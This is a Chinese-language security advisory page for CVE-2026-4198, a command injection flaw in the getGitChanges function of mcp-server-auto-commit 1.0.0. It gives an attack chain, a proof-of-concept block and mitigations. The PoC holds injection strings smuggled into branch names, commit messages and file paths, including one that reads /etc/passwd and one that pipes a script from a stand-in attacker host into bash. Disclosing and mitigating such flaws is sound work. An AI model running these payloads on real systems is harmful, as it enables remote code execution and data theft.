IPBUF安全漏洞报告
English
CVE-2026-4198 CVSS 5.3 中危

CVE-2026-4198 mcp-server-auto-commit命令注入漏洞

披露日期: 2026-03-16

漏洞信息

漏洞编号
CVE-2026-4198
漏洞类型
命令注入
CVSS评分
5.3 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
hypermodel-labs/mcp-server-auto-commit

相关标签

命令注入CVE-2026-4198mcp-server-auto-commit本地攻击权限提升Git安全Node.jshypermodel-labs

漏洞概述

CVE-2026-4198是hypermodel-labs公司开发的mcp-server-auto-commit 1.0.0版本中存在的一个命令注入漏洞。该漏洞位于index.ts文件的getGitChanges函数中,由于对用户输入未进行充分的输入验证和过滤,攻击者可以通过构造恶意输入在受影响系统上执行任意命令。此漏洞的CVSS评分为5.3,属于中等严重程度。攻击需要本地访问权限(AV:L)且需要低权限用户(PR:L)即可执行,无需用户交互(UI:N)。该漏洞已于2026年3月16日公开披露,并且已有可用的利用代码。漏洞发现者通过issue报告提前通知了项目方,但截至披露时项目方尚未做出响应。建议用户尽快应用官方提供的安全补丁(f7d992c830c5f2ec5749852e66c0195e3ed7fe30)进行修复。

技术细节

该命令注入漏洞源于mcp-server-auto-commit的index.ts文件中getGitChanges函数对Git命令参数处理不当。攻击者可以通过在Git提交信息、分支名称或文件路径中注入恶意命令字符(如分号、管道符、反引号等)来执行任意系统命令。具体来说,当应用执行Git操作时,如果攻击者能够控制某些输入参数,这些参数将被直接拼接到Git命令中执行。例如,攻击者可能通过创建一个包含特殊字符的Git分支名称或提交消息,使得应用在执行git status或git diff等命令时触发命令注入。由于漏洞利用需要本地访问权限,攻击者需要已在系统上拥有低权限用户账户,这限制了漏洞的广泛利用可能性,但一旦被利用,可能导致敏感数据泄露、系统完整性破坏或进一步的权限提升。

攻击链分析

STEP 1
步骤1
攻击者获得目标系统的本地访问权限,并创建一个低权限用户账户
STEP 2
步骤2
攻击者克隆目标仓库或创建一个新仓库,配置mcp-server-auto-commit插件
STEP 3
步骤3
攻击者创建包含恶意命令的Git分支名称、提交消息或文件路径
STEP 4
步骤4
mcp-server-auto-commit的getGitChanges函数处理Git操作时,将恶意输入拼接到命令中
STEP 5
步骤5
系统执行注入的命令,攻击者实现任意命令执行,可能窃取敏感数据或建立持久化连接

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2026-4198 PoC - Command Injection in mcp-server-auto-commit // Target: hypermodel-labs/mcp-server-auto-commit v1.0.0 // Attack Vector: Malicious Git branch/commit message injection // Example 1: Malicious branch name injection const maliciousBranch = 'test;$(whoami)>pwned.txt;#'; // When processed by getGitChanges(), executes: git branch test;$(whoami)>pwned.txt;# // Example 2: Backtick command substitution const maliciousCommit = 'Initial commit`whoami`test'; // Executes: git commit -m "Initial commit`whoami`test" // Example 3: Pipe chain execution const maliciousPath = 'file.txt|cat /etc/passwd'; // Executes: git diff file.txt|cat /etc/passwd // Exploitation scenario: // 1. Attacker clones a repository // 2. Creates a branch with malicious name: git checkout -b "test;$(curl http://attacker.com/shell.sh|bash)" // 3. The mcp-server-auto-commit plugin processes this branch name // 4. Command injection occurs when getGitChanges() is called // Recommended verification: // Check if the following returns unexpected output: // node -e "const {getGitChanges} = require('./index.ts'); getGitChanges();"

影响范围

mcp-server-auto-commit <= 1.0.0

防御指南

临时缓解措施
在官方补丁可用之前,建议采取以下临时缓解措施:1) 限制mcp-server-auto-commit的使用范围,避免处理不可信来源的仓库;2) 对所有Git输入实施严格的输入验证,拒绝包含特殊字符(如分号、反引号、管道符等)的分支名和提交消息;3) 使用容器或沙箱环境隔离插件执行;4) 监控相关进程的命令执行行为;5) 考虑暂时禁用受影响功能,等待官方修复发布。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表